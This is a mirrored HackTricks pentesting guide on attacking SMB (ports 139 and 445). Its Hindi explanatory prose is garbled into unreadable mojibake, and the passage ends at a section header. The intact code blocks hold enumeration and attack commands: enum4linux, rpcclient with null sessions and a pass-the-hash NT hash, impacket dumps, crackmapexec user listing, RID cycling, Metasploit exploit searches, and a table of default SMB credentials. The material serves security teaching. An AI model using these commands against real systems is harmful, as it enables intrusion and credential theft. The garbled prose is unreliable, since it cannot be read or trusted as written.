mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
555 lines
42 KiB
Markdown
555 lines
42 KiB
Markdown
# 139,445 - Pentesting SMB
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Port 139**
|
||
|
||
_**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, рдкреАрд╕реА рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **TCP рдкреЛрд░реНрдЯ 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЖрджреЗрд╢ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред
|
||
```
|
||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||
```
|
||
## Port 445
|
||
|
||
рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ **SMB** рдХрд╛ рдЕрд░реНрде рд╣реИ '**Server Message Blocks**', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ **Common Internet File System (CIFS)** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
|
||
|
||
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдпрд╣ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдкрд░ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, TCP/IP рдкрд░ NetBIOS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддреЗ рд╣реБрдП, рдкреЛрд░реНрдЯ 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░, рдкреЛрд░реНрдЯ 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB TCP/IP рдкрд░ NetBIOS рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
|
||
```
|
||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||
```
|
||
### SMB
|
||
|
||
**рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, **рдлрд╛рдЗрд▓реЛрдВ**, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ, рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореБрдЦреНрдп рд░реВрдк рд╕реЗ **Windows** рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, SMB рдкрд┐рдЫрдбрд╝реЗ рд╕рдВрдЧрддрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╡рд╛рд▓реЗ рдЙрдкрдХрд░рдг рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдЬрддрд╛ рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, **Samba** рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **Linux** рдФрд░ Unix рд╕рд┐рд╕реНрдЯрдо рдкрд░ SMB рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред
|
||
|
||
рд╢реЗрдпрд░, рдЬреЛ **рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдордирдорд╛рдиреЗ рд╣рд┐рд╕реНрд╕реЛрдВ** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ SMB рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рдж рддрдХ **рд╕реНрд╡рддрдВрддреНрд░** рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рдкрджрд╛рдиреБрдХреНрд░рдо рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред **рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реВрдЪрд┐рдпрд╛рдБ (ACLs)**, рдЬреЛ **рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдкрд░ **рд╕реВрдХреНрд╖реНрдо-рдирд┐рдпрдВрддреНрд░рдг** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`execute`**, **`read`**, рдФрд░ **`full access`** рдЬреИрд╕реЗ рдЧреБрдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╢реЗрдпрд░реЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдпрд╛ рд╕рдореВрд╣реЛрдВ рдХреЛ рд╕реМрдВрдкреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реЗрдЯ рд╕реНрдерд╛рдиреАрдп рдЕрдиреБрдорддрд┐рдпреЛрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред
|
||
|
||
### IPC$ Share
|
||
|
||
IPC$ рд╢реЗрдпрд░ рддрдХ рдкрд╣реБрдБрдЪ рдПрдХ рдЧреБрдордирд╛рдо рд╢реВрдиреНрдп рд╕рддреНрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдЬрд╛рдЧрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ `enum4linux` рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ:
|
||
|
||
* рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА
|
||
* рдорд╛рддрд╛-рдкрд┐рддрд╛ рдбреЛрдореЗрди рдХрд╛ рд╡рд┐рд╡рд░рдг
|
||
* рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рд╕рдореВрд╣реЛрдВ рдХрд╛ рд╕рдВрдХрд▓рди
|
||
* рдЙрдкрд▓рдмреНрдз SMB рд╢реЗрдпрд░реЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА
|
||
* рдкреНрд░рднрд╛рд╡реА рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐
|
||
|
||
рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП SMB (рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ) рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред `enum4linux` рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ SMB рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ SMB рд╕реЗрд╡рд╛рдПрдБ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред
|
||
```bash
|
||
enum4linux -a target_ip
|
||
```
|
||
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
|
||
|
||
## NTLM рдХреНрдпрд╛ рд╣реИ
|
||
|
||
рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ NTLM рдХреНрдпрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдВрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ **рдЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдХреИрд╕реЗ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:**
|
||
|
||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||
[ntlm](../windows-hardening/ntlm/)
|
||
{% endcontent-ref %}
|
||
|
||
## **рд╕рд░реНрд╡рд░ рдПрдиреНрдпреВрдорд░реЗрд╢рди**
|
||
|
||
### **рд╕реНрдХреИрди** рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реБрдП:
|
||
```bash
|
||
nbtscan -r 192.168.0.1/24
|
||
```
|
||
### SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг
|
||
|
||
SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдгреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк:
|
||
|
||
* **MSF** рд╕рд╣рд╛рдпрдХ рдореЙрдбреНрдпреВрд▓ \_**auxiliary/scanner/smb/smb\_version** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
|
||
* рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ:
|
||
```bash
|
||
#!/bin/sh
|
||
#Author: rewardone
|
||
#Description:
|
||
# Requires root or enough permissions to use tcpdump
|
||
# Will listen for the first 7 packets of a null login
|
||
# and grab the SMB Version
|
||
#Notes:
|
||
# Will sometimes not capture or will print multiple
|
||
# lines. May need to run a second time for success.
|
||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||
echo "" && sleep .1
|
||
```
|
||
### **рд╢реЛрдз рд╢реЛрд╖рдг**
|
||
```bash
|
||
msf> search type:exploit platform:windows target:2008 smb
|
||
searchsploit microsoft smb
|
||
```
|
||
### **рд╕рдВрднрд╛рд╡рд┐рдд** рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕
|
||
|
||
| **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо(s)** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** |
|
||
| --------------------- | ----------------------------------------- |
|
||
| _(рдЦрд╛рд▓реА)_ | _(рдЦрд╛рд▓реА)_ |
|
||
| рдЕрддрд┐рдерд┐ | _(рдЦрд╛рд▓реА)_ |
|
||
| рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди | _(рдЦрд╛рд▓реА)_, рдкрд╛рд╕рд╡рд░реНрдб, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ, рдПрдбрдорд┐рди |
|
||
| рдЖрд░реНрдХрд╕рд░реНрд╡ | рдЖрд░реНрдХрд╕рд░реНрд╡, рдмреИрдХрдЕрдк |
|
||
| рдЯрд┐рд╡реЛрд▓реА, tmersrvd | рдЯрд┐рд╡реЛрд▓реА, tmersrvd, рдПрдбрдорд┐рди |
|
||
| рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк | рдмреИрдХрдЕрдкрдПрдХреНрд╕реЗрдХ, рдмреИрдХрдЕрдк, рдЖрд░реНрдХрд╛рдбрд╛ |
|
||
| рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ | рдкрд╛рд╕рд╡рд░реНрдб, рдкрд░реАрдХреНрд╖рдг, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛, рдбреЗрдореЛ |
|
||
|
||
### рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕
|
||
|
||
* [**SMB рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||
|
||
### SMB рд╡рд╛рддрд╛рд╡рд░рдг рдЬрд╛рдирдХрд╛рд░реА
|
||
|
||
### рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
|
||
```bash
|
||
#Dump interesting information
|
||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||
|
||
#Connect to the rpc
|
||
rpcclient -U "" -N <IP> #No creds
|
||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||
rpcclient -U "username%passwd" <IP> #With creds
|
||
#You can use querydispinfo and enumdomusers to query user information
|
||
|
||
#Dump user information
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
|
||
#Map possible RPC endpoints
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||
```
|
||
### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ
|
||
|
||
рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ рд╣реА enum4linux рдФрд░ enum4linux-ng рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||
|
||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||
|
||
rpcclient -U "" -N 10.10.10.10
|
||
enumdomusers
|
||
enumdomgroups
|
||
```
|
||
### рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ
|
||
|
||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||
```bash
|
||
lookupsid.py -no-pass hostname.local
|
||
```
|
||
Oneliner
|
||
```bash
|
||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||
```
|
||
### Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ
|
||
```bash
|
||
use auxiliary/scanner/smb/smb_lookupsid
|
||
set rhosts hostname.local
|
||
run
|
||
```
|
||
### **LSARPC рдФрд░ SAMR rpcclient рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛**
|
||
|
||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||
{% endcontent-ref %}
|
||
|
||
### рд▓рд┐рдирдХреНрд╕ рд╕реЗ GUI рдХрдиреЗрдХреНрд╢рди
|
||
|
||
#### рдЯрд░реНрдорд┐рдирд▓ рдореЗрдВ:
|
||
|
||
`xdg-open smb://cascade.htb/`
|
||
|
||
#### рдлрд╝рд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ (nautilus, thunar, рдЖрджрд┐)
|
||
|
||
`smb://friendzone.htb/general/`
|
||
|
||
## рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЧрдгрдирд╛
|
||
|
||
### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА
|
